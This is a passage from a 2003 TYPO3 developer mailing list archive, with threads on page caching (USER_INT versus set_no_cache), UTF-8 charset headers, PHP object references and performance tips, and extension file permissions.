>>to me ;-) >> >>Masi >> >>_______________________________________________ >>Typo3-dev mailing list >>Typo3-dev at lists.netfielders.de >>http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev > > > > > God bless > > - kasper > > > - kasper > -------------------- o --------------------- > >>>> In God I trust - others pay cash! <<< > > Check www.typo3.com > > > From webmaster at _remove_afsvlaanderen.be Sat Sep 6 21:44:22 2003 From: webmaster at _remove_afsvlaanderen.be (Bart van Doveren) Date: Sat, 6 Sep 2003 21:44:22 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: "Dominic Brander" wrote in message news:mailman.1062863282.25822.typo3-dev at lists.netfielders.de... > hi all > I've had many problems wi th caching/no caching. almost all plugins I > used did clear the cache with $GLOBALS["TSFE"]->set_no_cache() - > therefore most of my pages where not indexed at all. > to call a function I have the possibility to call it with USER or > USER_INT. what is the the $GLOBALS["TSFE"]->set_no_cache() used for? > As far as I have seen yet I can skip the GLOBALS["TSFE"]->set_no_cache() > if I call my functions with the USER_INT. is this true? > > can someone explain me, when to use $GLOBALS["TSFE"]->set_no_cache() and > when USER_INT? I think the USER_INT is depreciated since the introduction of extensions. Extensions set the no_cache option themselves in stead of relying on the USER_INT object. That way the extension developper can predefine if the extensions should not be cached. I guess this is the reason why both exist, but I can be wrong... Bart From rl at robertlemke.de Sun Sep 7 08:56:23 2003 From: rl at robertlemke.de (Robert Lemke) Date: Sun, 7 Sep 2003 08:56:23 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: >> I've had many problems with caching/no caching. almost all plugins I >> used did clear the cache with $GLOBALS["TSFE"]->set_no_cache() - >> therefore most of my pages where not indexed at all. >> to call a function I have the possibility to call it with USER or >> USER_INT. what is the the $GLOBALS["TSFE"]->set_no_cache() used for? >> As far as I have seen yet I can skip the >> GLOBALS["TSFE"]->set_no_cache() if I call my functions with the >> USER_INT. is this true? >> can someone explain me, when to use $GLOBALS["TSFE"]->set_no_cache() >> and when USER_INT? The USER_INT cObject is not deprecated. Using USER_INT or setting the no_cache are just two different things! Make your extension a USER_INT if you don't want caching for your output. The difference to setting the no_cache flag is, that only your extension's ouput is dynamically created, not the whole page! If you use $TSFE->set_no_cache(), other content on that page has no chance to be indexed or cached. I think the reason why in some extensions there is a line like $GLOBALS['TSFE']->set_no_cache() is, that the developer used it for debugging. But there's also a situation where it makes sense: If your extension normally provides cached output but needs a refresh in certain situations, it might be better to use a USER object and clear the cache for the whole page. Because mixing cached and non-cached content in one page additionally initialises certain classes which means an overall overhead. -- robert From mailingliste at hachmeister.org Sun Sep 7 09:56:56 2003 From: mailingliste at hachmeister.org (Karsten Hachmeister) Date: Sun, 7 Sep 2003 09:56:56 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: Dominic Brander wrote: > hi all > I've had many problems with caching/no caching. almost all plugins I > used did clear the cache with $GLOBALS["TSFE"]->set_no_cache() - > therefore most of my pages where not indexed at all. > to call a function I have the possibility to call it with USER or > USER_INT. what is the the $GLOBALS["TSFE"]->set_no_cache() used for? > As far as I have seen yet I can skip the > GLOBALS["TSFE"]->set_no_cache() if I call my functions with the > USER_INT. is this true? > > can someone explain me, when to use $GLOBALS["TSFE"]->set_no_cache() > and when USER_INT? If you want to use the indexed feature, so that your extension can be used by the indexed search, both methods are not good. With USER_INT you extensions don't get cached, but other on the same page. With set_no_cache() none get cached on the current page. If you want, the all output of you extension get cached, you need to create special links for them, like this: http://typo3.hachmeister.org/Erstelle_korrekte_Typoli.412.0.html -- Karsten Hachmeister From simondt at gpuk.net Sun Sep 7 13:13:17 2003 From: simondt at gpuk.net (Simon Child) Date: Sun, 7 Sep 2003 12:13:17 +0100 Subject: [Typo3-dev] Bug in class.gzip_encode References: Message-ID: "Peter Russ :: 4Dfx" wrote in message news:mailman.1062812402.27205.typo3-dev at lists.netfielders.de... > Peter Russ :: 4Dfx schrieb: > As [BE] has also the option to work with compression in several methods > it might be a better a idea to fix the bug within the > class.gzip_encode.php. Pls find attached. You're converting the string 'true' to Boolean true, and then comparing as boolean. What is the advantage of this over simply comparing the string with double equals ? (Not a troll, just can't see the advantage!) -- Simon Child From peter.russ at 4dfx.de Sun Sep 7 14:07:13 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Sun, 07 Sep 2003 14:07:13 +0200 Subject: [Typo3-dev] Bug in class.gzip_encode In-Reply-To: References: Message-ID: Simon Child schrieb: > "Peter Russ :: 4Dfx" wrote in message > news:mailman.1062812402.27205.typo3-dev at lists.netfielders.de... > >>Peter Russ :: 4Dfx schrieb: > > >>As [BE] has also the option to work with compression in several methods >>it might be a better a idea to fix the bug within the >>class.gzip_encode.php. Pls find attached. > > > You're converting the string 'true' to Boolean true, and then comparing as > boolean. What is the advantage of this over simply comparing the string with > double equals ? (Not a troll, just can't see the advantage!) > If you take the class only for Typo there might be no advantage. But as you can use it also in other projects you might invoke the methode with the variables of the correct type ie. either Boolean true or Integer between 0 and 9. If we would just fix the "Typo" bug and compare to string you would additionally have to compare to Boolean true otherwise we would create a new bug ;) So it is easier to convert the type to get it fixed for Typo3. I hope it's clear now. Regs. Peter. www.ebconclub.net From kasper at typo3.com Sun Sep 7 19:08:07 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Sun, 07 Sep 2003 19:08:07 +0200 Subject: [Typo3-dev] Character set inquery Message-ID: Hi Folks. TYPO3 in version 3.6.0 will be fully UTF-8 compliant. That is good news. However Robert Lemke reports that the charset set by the browser in the tag was ignored in his case since Apache webserver overruled this setting - although the meta-tag should have priority, if found. Personally I have never seen the charset defined in the browser fail. But Robert seems to experience this. Does any of you have some valuable insights here? This is roberts mail to me: On 07-09-2003 at 13:10 Robert Lemke wrote: >If you try the new utf-8 feature and your browser doesn't >automatically detect the encoding check your apache configuration! > >The automatic detection of most browsers ignore the META tags if the >server sends a header with a different encoding scheme. By default >apache overrides PHP's header information regarding the encoding and >sets it to ISO-8859-1! Again, most browsers take that value instead of the >charset defined in the META tag or the XML tag so you have to make >sure your server either doesn't touch the header or sets utf-8. > >One solution is to let apache create a header with utf-8 as default. >Simply change the setting in your httpd.conf into this: > > AddDefaultCharset utf-8 > >-- >Robert Lemke Medienprojekte - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From erick at nivelvirtual.net Sun Sep 7 19:23:27 2003 From: erick at nivelvirtual.net (Erick Bonilla) Date: Sun, 7 Sep 2003 11:23:27 -0600 Subject: [Typo3-dev] help desk (ticket system) Message-ID: Hola gente! I'll need some ticket system to use on a client project, something very similar to PHPMydesk (http://pmd.scriptsdownload.com/). Is somebody working on a ticket system extension? If no, well I'll do it :-) -------------- next part -------------- An HTML attachment was scrubbed... URL: From mundaun at gmx.ch Sun Sep 7 19:46:56 2003 From: mundaun at gmx.ch (Michael Stucki) Date: Sun, 07 Sep 2003 19:46:56 +0200 Subject: [Typo3-dev] help desk (ticket system) References: Message-ID: Erick Bonilla wrote: > I'll need some ticket system to use on a client project, something very > similar to PHPMydesk (http://pmd.scriptsdownload.com/). Is somebody > working on a ticket system extension? If no, well I'll do it :-) You should ask the Sandbox list! - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html From erick at nivelvirtual.net Sun Sep 7 19:56:51 2003 From: erick at nivelvirtual.net (Erick Bonilla) Date: Sun, 7 Sep 2003 11:56:51 -0600 Subject: [Typo3-dev] help desk (ticket system) In-Reply-To: Message-ID: Ops, sorry -----Original Message----- From: typo3-dev-admin at lists.netfielders.de [mailto:typo3-dev-admin at lists.netfielders.de] On Behalf Of Michael Stucki Sent: Sunday, September 07, 2003 11:47 AM To: typo3-dev at lists.netfielders.de Subject: Re: [Typo3-dev] help desk (ticket system) Erick Bonilla wrote: > I'll need some ticket system to use on a client project, something > very similar to PHPMydesk (http://pmd.scriptsdownload.com/). Is > somebody working on a ticket system extension? If no, well I'll do it > :-) You should ask the Sandbox list! - michael -- Want support? Please read the list rules first: http://typo3.org/1438.0.html _______________________________________________ Typo3-dev mailing list Typo3-dev at lists.netfielders.de http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev From dan at danfrost.co.uk Sun Sep 7 21:34:10 2003 From: dan at danfrost.co.uk (dan frost) Date: Sun, 07 Sep 2003 20:34:10 +0100 Subject: [Typo3-dev] Object-TypoScript - call for help and collaborators Message-ID: Dear all, I have released an RFC on how I think TypoScript should be rendered in future versions of Typo3, and am shortly to release an extension which uses this system. I would like to work on this with another - or a few other - developers. If anyone is interested, please get in contact. Many thanks, dan From Martin.T.Kutschker at blackbox.net Mon Sep 8 09:34:37 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 08 Sep 2003 09:34:37 +0200 (METDST) Subject: [Typo3-dev] Character set inquery Message-ID: Date: Sun, 07 Sep 2003 19:08:07 +0200 From: Kasper Skarhoj Cc: rl at robertlemke.de > > However Robert Lemke reports that the charset set by the browser in the > tag was ignored in his case since Apache webserver overruled > this setting - although the meta-tag should have priority, if found. > > Personally I have never seen the charset defined in the browser fail. > But Robert seems to experience this. > > Does any of you have some valuable insights here? I've seen the described behaviour. If I recall it correctly it was on IE6.x on Win 2000. I don't remember which version if IE exactly and it may habe been Win XP. Bt yes, the HTTP-header definitly took precedence of the META-tag. We resorted to the same resolution as Robert. And we also used the accept-charset on FORM-tags. Though I don't think that it really makes a difference. OTOH, it doesn't hurt to set it. Masi From christian at jul.net Mon Sep 8 09:44:32 2003 From: christian at jul.net (Christian Jul Jensen) Date: Mon, 8 Sep 2003 09:44:32 +0200 Subject: [Typo3-dev] decrease memory usage References: Message-ID: Hi, On Sat, 06 Sep 2003 13:17:13 +0200 "Kasper Sk?rh?j" wrote: > I read that copies of strings and arrays are just fine and faster than > reference. But Objects - that should be faster with a reference. And > I'm not the big reference-master I have to say. > > I would appreciate if someone reviewed AND TESTED the use of object > references in TYPO3. Obvious places to start is: > - t3lib_div::makeInstance() - should that be returning a reference? > - Setting of $this->cObj, $this->pObj etc in various classes. AFAIK php version < 5 doesn't really support referencing of objects, it is in fact a copy. Real object-referencing should be supported in version 5, asfar as I understand. I definetly think that references should be used in stead of copies. Main reason for this is: If the object changes after the initialisation of the local reference / copy, a reference will change as well, a copy will not. I've already had problems with this (not with the native TYPO3 classes, but with the feEdit, but anyhow...). A second reason is that as far as I remember my compiler theory, the use of references should be mpre efficient in speed and memory usage. I'm not 100% sure about the former, and that of course also depends on the implementation of the compiler, but my impression is that the zend folks are pretty capable. -- ./mvh Christian Jul Jensen Freelance webprogramer TYPO3 Typehead Denmark From rl at robertlemke.de Mon Sep 8 09:56:16 2003 From: rl at robertlemke.de (Robert Lemke) Date: Mon, 8 Sep 2003 09:56:16 +0200 Subject: [Typo3-dev] Character set inquery References: Message-ID: Martin Kutschker wrote: > I've seen the described behaviour. If I recall it correctly it was on > IE6.x on Win 2000. I don't remember which version if IE exactly and > it may habe been Win XP. I tested it on Win XP, all my Browsers (IE6.0.2800, Mozilla 1.3.1 and Opera 7.11) show the same behaviour. However, if you choose the encoding manually in the browser, Mozilla and Opera keep the setting, IE falls back to the server's setting when you click to another page. -- robert From webmaster at _remove_afsvlaanderen.be Mon Sep 8 11:09:27 2003 From: webmaster at _remove_afsvlaanderen.be (Bart van Doveren) Date: Mon, 8 Sep 2003 11:09:27 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: "Robert Lemke" wrote in message news:mailman.1062917788.30266.typo3-dev at lists.netfielders.de... > >> I've had many problems with caching/no caching. almost all plugins I > >> used did clear the cache with $GLOBALS["TSFE"]->set_no_cache() - > >> therefore most of my pages where not indexed at all. > >> to call a function I have the possibility to call it with USER or > >> USER_INT. what is the the $GLOBALS["TSFE"]->set_no_cache() used for? > >> As far as I have seen yet I can skip the > >> GLOBALS["TSFE"]->set_no_cache() if I call my functions with the > >> USER_INT. is this true? > > >> can someone explain me, when to use $GLOBALS["TSFE"]->set_no_cache() > >> and when USER_INT? > > The USER_INT cObject is not deprecated. Using USER_INT or setting the > no_cache > are just two different things! Make your extension a USER_INT if you don't > want > caching for your output. The difference to setting the no_cache flag is, > that only your > extension's ouput is dynamically created, not the whole page! If you use > $TSFE->set_no_cache(), other content on that page has no chance to be > indexed > or cached. > > I think the reason why in some extensions there is a line like > $GLOBALS['TSFE']->set_no_cache() is, that the developer used it for > debugging. > > But there's also a situation where it makes sense: If your extension > normally provides > cached output but needs a refresh in certain situations, it might be better > to use a USER > object and clear the cache for the whole page. Because mixing cached and > non-cached > content in one page additionally initialises certain classes which means an > overall overhead. Thank you for this clarification, Robert. A question: how do I set an extension that provides a new content-element that should be dynamically created without having to set the whole page to no_cache? From rl at robertlemke.de Mon Sep 8 11:20:06 2003 From: rl at robertlemke.de (Robert Lemke) Date: Mon, 8 Sep 2003 11:20:06 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: Bart van Doveren wrote: > A question: how do I set an extension that provides a new > content-element that should be dynamically created without having to > set the whole page to no_cache? Just use the USER_INT object type. In the document Templates, TypoScript & beyond you find an explanation which is a bit old but still true: http://typo3.org/doc.0.html?&encryptionKey=&tx_extrepmgm_pi1[extUid]=267&tx_extrepmgm_pi1[tocEl]=147&cHash=68f5d7ae1d -- robert From Martin.T.Kutschker at blackbox.net Mon Sep 8 13:36:48 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 08 Sep 2003 13:36:48 +0200 (METDST) Subject: [Typo3-dev] makeInstance and references Message-ID: Hi! As far as I have understood the docs on php.net, a reference is a kind of an alias for an object. Which means making a reference creates a new entry in a symbol table. If you copy the object the former is done for the object and ALL its properties. I should think that using references s) increases speed and b) decreases memory usage. I'd go for it! For makeInstance this can be achieved by changing the declaration from function &makeInstance($className) to function &makeInstance($className) But you have to change ALL calls to it to use =& instead of =. You can do this with find and perl in the src directory: find -name "*.php" -exec perl -npi -e "s/=( )*t3lib_div::makeInstance\(/=&\1t3lib_div::makeInstance(/g" \{} \; Note: there is one space in =( )*. Just in case it gets wrapped. I don't expect any troubles by this straightforward change. I'll use this setting for our development servers. Masi From dirnbauer at web-consulting.at Mon Sep 8 14:51:55 2003 From: dirnbauer at web-consulting.at (Kurt Dirnbauer | web:consulting) Date: Mon, 8 Sep 2003 14:51:55 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: hi, "Karsten Hachmeister" schrieb im Newsbeitrag news:mailman.1062921270.2401.typo3-dev at lists.netfielders.de... > > If you want to use the indexed feature, so that your extension can be used by > the indexed search, both methods are not good. With USER_INT you extensions > don't get cached, but other on the same page. With set_no_cache() none get > cached on the current page. > > If you want, the all output of you extension get cached, you need to create > special links for them, like this: > > http://typo3.hachmeister.org/Erstelle_korrekte_Typoli.412.0.html thanks! i have read that and try (!) to explain it to my self: so, this should be done if the output of the extension and the included links should be cached: - use "USER", not "USER_INT" - dont't use "set_no_cache", because then the whole page (including the output of the extension - of course - is not cached). - to inlcude files (especially doc, pdf): . the required binaries have to be installed . the links in the output of the extension have to be included like in your tut. are these lines correct? there is just one question left: -> what happens if i change an already cached record (in the backend)? please choose: ;-) a) it is not changed and displayed, this changes after one day. do i have ot update the cache then, call the page? (" if your content is cachable within the scope of a day which is the default, no problem - use USER" from: http://typo3.org/doc.0.html?&encryptionKey=&tx_extrepmgm_pi1[extUid]=267&tx_ extrepmgm_pi1[tocEl]=147&cHash=68f5d7ae1d ) b) the cached stuff gets updated, and is reachable by indexed search. (thats what i wish. :-)) or is there a C ?? cheers, kurt From dan at danfrost.co.uk Mon Sep 8 15:32:00 2003 From: dan at danfrost.co.uk (dan frost) Date: Mon, 08 Sep 2003 14:32:00 +0100 Subject: [Typo3-dev] html header not getting through Message-ID: Dear all, I've added the following to the html page header in (line c360) class.tslib_pagegen.php. This is delivered to the browser as: - notice the missing colons (:). What is stripping these? Many thanks, dan From christian at jul.net Mon Sep 8 15:41:44 2003 From: christian at jul.net (Christian Jul Jensen) Date: Mon, 8 Sep 2003 15:41:44 +0200 Subject: [Typo3-dev] Rights on updated/imported extension files. Message-ID: Hi Whenever I import or update an extension form TER, the files are permisioned 755. I want them to be 775, is this defined by TYPO3 or by my system? If it is in TYPO3, how can I change it? If it is my system (Mandrake 9.0), where do I change it? This is pissing me of, so any help would be greatly appreciated. I'll buy you a weissbier in Kitzb?hel :) -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From rl at robertlemke.de Mon Sep 8 15:49:44 2003 From: rl at robertlemke.de (Robert Lemke) Date: Mon, 8 Sep 2003 15:49:44 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: Kurt Dirnbauer | web:consulting wrote: > so, this should be done if the output of the extension > and the included links should be cached: > - use "USER", not "USER_INT" that depends, of course. If you have dynamic content, use USER_INT (see my other post) > - dont't use "set_no_cache", because then the whole page (including > the output of the extension - of course - is not cached). If you want it to be cached, yes. > - to inlcude files (especially doc, pdf): > . the required binaries have to be installed > . the links in the output of the extension have to > be included like in your tut. ? > -> what happens if i change an already cached record (in the backend)? > b) the cached stuff gets updated, and is reachable by indexed search. > (thats what i wish. :-)) -- robert From peter.russ at 4dfx.de Mon Sep 8 15:50:15 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Mon, 08 Sep 2003 15:50:15 +0200 Subject: [Typo3-dev] Rights on updated/imported extension files. In-Reply-To: References: Message-ID: Christian Jul Jensen schrieb: > Hi > > Whenever I import or update an extension form TER, the files are > permisioned 755. I want them to be 775, is this defined by TYPO3 or by > my system? > > If it is in TYPO3, how can I change it? > > If it is my system (Mandrake 9.0), where do I change it? > > This is pissing me of, so any help would be greatly appreciated. I'll > buy you a weissbier in Kitzb?hel :) On your system: chmod on the ext path Peter Russ From christian at jul.net Mon Sep 8 15:56:47 2003 From: christian at jul.net (Christian Jul Jensen) Date: Mon, 8 Sep 2003 15:56:47 +0200 Subject: [Typo3-dev] Rights on updated/imported extension files. References: Message-ID: On Mon, 08 Sep 2003 15:50:15 +0200, Peter Russ :: 4Dfx wrote: > On your system: chmod on the ext path Thanx, but that's not what I'm looking for, that's what I'm doing now, but I have to be root (or httpd) to do it. I want the fileperms to be set correctly (775) autmatically when I import from TER. I'm just not sure whether it's controlled by PHP (TYPO3) or by some settings for the httpd-user. -- Christian Jul Jensen Freelance webprogrammer TYPO3 typehead Denmark From peter.russ at 4dfx.de Mon Sep 8 15:58:52 2003 From: peter.russ at 4dfx.de (4Dfx) Date: Mon, 08 Sep 2003 15:58:52 +0200 Subject: [Typo3-dev] html header not getting through In-Reply-To: References: Message-ID: dan frost schrieb: > Dear all, > > I've added the following to the html page header in (line c360) > class.tslib_pagegen.php. > > > > This is delivered to the browser as: > > > > - notice the missing colons (:). > should be: "The root element of the document must contain an xmlns declaration for the XHTML namespace [XMLNS]. The namespace for XHTML is defined to be http://www.w3.org/1999/xhtml. An example root element might look like: " as of http://www.w3.org/TR/xhtml1/#xhtml "3. Normative Definition of XHTML 1.0" Try to adjust and it should work. Regs Peter www.ebconclub.net From Martin.T.Kutschker at blackbox.net Mon Sep 8 16:28:39 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Mon, 08 Sep 2003 16:28:39 +0200 (METDST) Subject: [Typo3-dev] a wizard for keywords Message-ID: Hi! I tried to add a wizard to the "keywords" column of "pages". I finally succeded with this code in ext_tables.php: $TCA["pages"]["columns"]["keywords"]["config"]["wizards"] = array_merge($TCA["pages"]["columns"]["keywords"]["config"]["wizards"], Array ( "edit" => Array ( "type" => "popup", "title" => "My Wizard", "script" => t3lib_extMgm::extPath($_EXTKEY)."/wiz_test.php", ) ) ); This works, but shouldn't I use t3lib_div::loadTCA() and t3lib_extMgm::addTCAcolumns()? I tried to but failed. But I populated only the "wizards" array. Masi From dirnbauer at web-consulting.at Mon Sep 8 17:50:21 2003 From: dirnbauer at web-consulting.at (Kurt Dirnbauer | web:consulting) Date: Mon, 8 Sep 2003 17:50:21 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT References: Message-ID: hi robert, "Robert Lemke" schrieb im Newsbeitrag news:mailman.1063028991.828.typo3-dev at lists.netfielders.de... > Kurt Dirnbauer | web:consulting wrote: > > - to inlcude files (especially doc, pdf): > > . the required binaries have to be installed > > . the links in the output of the extension have to > > be included like in your tut. > > ? the output of the extension are pages including links to files, (the files are also part of the extension) these files (doc, pdf) should get cached too. so, i just use the typolink with the described parameters and the files are indexed. right? thanks, kurt From kasper at typo3.com Mon Sep 8 18:55:55 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Mon, 08 Sep 2003 18:55:55 +0200 Subject: [Typo3-dev] decrease memory usage In-Reply-To: References: Message-ID: >From http://phplens.com/lens/php-book/optimizing-debugging-php.php Do References Speed Your Code? References do not provide any performance benefits for non-object variables. For example, consider the following code: function TestRef(&$a) { $b = $a; $c = $a; } $one = 1; ProcessArrayRef($one); And the same code without references: function TestNoRef($a) { $b = $a; $c = $a; } $one = 1; ProcessArrayNoRef($one); PHP does not actually create duplicate variables when "pass by value" is used, but uses high speed reference counting internally. So in TestRef(), $b and $c take longer to set because the references have to be tracked, while in TestNoRef(), $b and $c just point to the original value of $a, and the reference counter is incremented. So TestNoRef() will execute faster than TestRef(). In contrast, functions that accept object parameters have a performance advantage when references are used. This is because objects do not use reference counting, so multiple copies of an object are created if "pass by value" is used. So the following code: function ObjRef(&$o) { $a =$o->name; } is faster than: $function ObjRef($o) { $a = $o->name; } Note: In PHP 5, all objects are passed by reference automatically, without the need of an explicit & in the parameter list. - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From je at hades.org Mon Sep 8 20:27:07 2003 From: je at hades.org (Jens Ellerbrock) Date: Mon, 8 Sep 2003 20:27:07 +0200 Subject: [Typo3-dev] Rights on updated/imported extension files. References: Message-ID: Christian Jul Jensen wrote: > [...] I want the fileperms to be > set correctly (775) autmatically when I import from TER. I'm just not > sure whether it's controlled by PHP (TYPO3) or by some settings for > the httpd-user. It's controlled by the operating system. See umask() (either the os'es or php's) to change it. Jens From sachav at gmx.net Tue Sep 9 07:54:19 2003 From: sachav at gmx.net (Sacha Vorbeck) Date: Tue, 09 Sep 2003 07:54:19 +0200 Subject: [Typo3-dev] Character set inquery In-Reply-To: References: Message-ID: Hi Kasper, > Does any of you have some valuable insights here? I asked Bj?rn H?hrmann (http://bjoern.hoehrmann.de/) who is working for/with the W3C for a statement. He was so kind to write the following message: The detection of the character encoding of text/html resources is defined in section 5.2.2 of HTML 4.01, http://www.w3.org/TR/html4/charset.html#h-5.2.2 Basically if (HTTP Content-Type header has a charset parameter) { use it; } elsif (document starts with a byte order mark) { use it; /* i.e., UTF-x depending on the BOM */ } elsif (document has element takes precedence over the encoding specified in the HTTP header. If there is, it is broken and it is likely that a number of web sites break in this browser. Note that the XML declaration Robert mentions is ignored as it is a processing instruction from a HTML point of view and the W3C HTML WG wants user agents to treat text/html resources only as tag soup, not as XHTML and thus XHTML/XML rules do not apply to the document. I am not sure how Apache, PHP, and Typo3 interact here. As the HTML Recommendation states, the character encoding should be specified in the HTTP header and the meta element is only to be used as a last resort if you cannot configure the web server properly. In PHP you could do header('Content-Type: text/html;charset=utf-8'); which should override any default encoding set by the default_charset config option for PHP or the AddDefaultCharset in the Apache configuration. If the document relies on the element so specify the character encoding of the document and the web server or PHP configuration specifies a default encoding, you run into the problem Robert talks about. If you cannot modify the HTTP header as in the example above, this is a documentation issue, you cannot do anything about it; the HTTP header always takes precedence and if the web server is configured to default to say ISO-8859-1 the document cannot use any other character encoding without modifying the web server configuration. regards. -- all the best, Sacha From Martin.T.Kutschker at blackbox.net Tue Sep 9 09:42:40 2003 From: Martin.T.Kutschker at blackbox.net (Martin Kutschker) Date: Tue, 09 Sep 2003 09:42:40 +0200 (METDST) Subject: PHP optimizations (was: [Typo3-dev] decrease memory usage) Message-ID: Date: Mon, 08 Sep 2003 18:55:55 +0200 From: Kasper Skarhoj > From http://phplens.com/lens/php-book/optimizing-debugging-php.php A very interesting read, ineed! So using references for objects do help. Also worth noting in regards to the original question: # Unset() variables that are not used anymore to reduce memory usage. This is mostly useful for resources and large arrays. Some ideas for more optimization mentioned on the page: # Use ob_start() at the beginning of your code. This gives you a 5-15% boost in speed for free on Apache. You can also use gzip compression for extra fast downloads (this requires spare CPU cycles). # Optimize your loops first. Move loop invariants outside the loop. # Use the array and string functions where possible. They are faster than writing equivalent code in PHP. Note: this is of course true for the upcoming encoding functions. iconv/recode and mbstring should IMHO be favoured for self written PHP functions. There's no need to reinvent the wheel anyway. # For searching for substrings, the fastest code is using strpos(), followed by preg_match() and lastly ereg(). Similarly, str_replace() is faster than preg_replace(), which is faster than ereg_replace(). # Use foreach() for iterating through arrays. # Echo is slightly faster than print because echo does not return a value and (this is more important) there is no need to concatenate strings or variables with echo() ? pass them as multiple comma separated arguments: echo $var1, $var2; print $var1 . $var2; # When concatenating multiple long strings together, consider storing the separate strings in an array and concatenate them using implode(). This can be faster than using the dot operator because the dot operator makes multiple memory allocations, while implode() allocates the string buffer only once. From my benchmarks and on my hardware configuration, the combined string has to be greater than 40K, and each sub-string at least 100 characters, for implode() to offer any performance advantage. And of course - most important! # Tune your database and index the fields that are commonly used in your SQL WHERE criteria. # Use HTML caching if you have data that rarely changes. Even if the data changes every minute, caching can help provided the data is synchronized with the cache. Depending on your code complexity, it can improve your performance by a factor of 10. Not mentioned here, but in such a large application like Typo3 it could make a difference: use single quotes instead of double quotes if you don't need variable interpolation. Masi From typo3_db at snowflake.ch Tue Sep 9 11:56:50 2003 From: typo3_db at snowflake.ch (Dominic Brander) Date: Tue, 09 Sep 2003 11:56:50 +0200 Subject: [Typo3-dev] $GLOBALS["TSFE"]->set_no_cache() vs USER_INT In-Reply-To: References: Message-ID: thanks to all for your answers. I think I got the point more or less. have a nice week! dominic Robert Lemke wrote: > Kurt Dirnbauer | web:consulting wrote: > > >>so, this should be done if the output of the extension >>and the included links should be cached: >>- use "USER", not "USER_INT" > > > that depends, of course. If you have dynamic content, use USER_INT > (see my other post) > > >>- dont't use "set_no_cache", because then the whole page (including >>the output of the extension - of course - is not cached). > > > If you want it to be cached, yes. > > >>- to inlcude files (especially doc, pdf): >> . the required binaries have to be installed >> . the links in the output of the extension have to >> be included like in your tut. > > > ? > > >>-> what happens if i change an already cached record (in the backend)? > > >>b) the cached stuff gets updated, and is reachable by indexed search. >> (thats what i wish. :-)) > > -- dominic brander ________________________________________________________________________ dominic brander - snowflake productions gmbh tel. CH +41 1 451 75 71 - fax. CH +41 1 451 63 80 tel. D +49 89 31 56 78 15 - fax. D +49 89 31 56 78 16 mobile +41 76 493 25 88 http://www.snowflake.ch From kasper at typo3.com Tue Sep 9 12:12:13 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Tue, 09 Sep 2003 12:12:13 +0200 Subject: [Typo3-dev] Character set inquery In-Reply-To: References: Message-ID: very useful, thanks! God bless - kasper *********** REPLY SEPARATOR *********** On 09-09-2003 at 07:54 Sacha Vorbeck wrote: >Hi Kasper, > >> Does any of you have some valuable insights here? > >I asked Bj?rn H?hrmann (http://bjoern.hoehrmann.de/) who is working >for/with the W3C for a statement. He was so kind to write the following >message: > > >The detection of the character encoding of text/html resources is >defined in section 5.2.2 of HTML 4.01, > > http://www.w3.org/TR/html4/charset.html#h-5.2.2 > >Basically > > if (HTTP Content-Type header has a charset parameter) > { > use it; > } > elsif (document starts with a byte order mark) > { > use it; /* i.e., UTF-x depending on the BOM */ > } > elsif (document has { > use it; > } > else > { > do some magic; /* probability analysis, user defaults, ... */ > } > >Common web browsers implement this to some extend. I am not aware of any >browser where the element takes precedence over the encoding >specified in the HTTP header. If there is, it is broken and it is likely >that a number of web sites break in this browser. > >Note that the XML declaration >Robert mentions is ignored as it is a processing instruction from a HTML >point of view and the W3C HTML WG wants user agents to treat text/html >resources only as tag soup, not as XHTML and thus XHTML/XML rules do not >apply to the document. > >I am not sure how Apache, PHP, and Typo3 interact here. As the HTML >Recommendation states, the character encoding should be specified in the >HTTP header and the meta element is only to be used as a last resort if >you cannot configure the web server properly. In PHP you could do > > header('Content-Type: text/html;charset=utf-8'); > >which should override any default encoding set by the default_charset >config option for PHP or the AddDefaultCharset in the Apache >configuration. If the document relies on the element so specify >the character encoding of the document and the web server or PHP >configuration specifies a default encoding, you run into the problem >Robert talks about. > >If you cannot modify the HTTP header as in the example above, this is a >documentation issue, you cannot do anything about it; the HTTP header >always takes precedence and if the web server is configured to default >to say ISO-8859-1 the document cannot use any other character encoding >without modifying the web server configuration. > >regards. > > >-- >all the best, > >Sacha > > >_______________________________________________ >Typo3-dev mailing list >Typo3-dev at lists.netfielders.de >http://lists.netfielders.de/cgi-bin/mailman/listinfo/typo3-dev God bless - kasper - kasper -------------------- o --------------------- >>> In God I trust - others pay cash! <<< Check www.typo3.com From kasper at typo3.com Tue Sep 9 12:12:12 2003 From: kasper at typo3.com (=?ISO-8859-1?Q?=22Kasper_Sk=E5rh=F8j=22?=) Date: Tue, 09 Sep 2003 12:12:12 +0200 Subject: PHP optimizations (was: [Typo3-dev] decrease memory usage) In-Reply-To: References: Message-ID: ># Use the array and string functions where possible. They are faster than >writing equivalent code in PHP. > >Note: this is of course true for the upcoming encoding functions. >iconv/recode and mbstring should IMHO be favoured for self written PHP >functions. There's no need to reinvent the 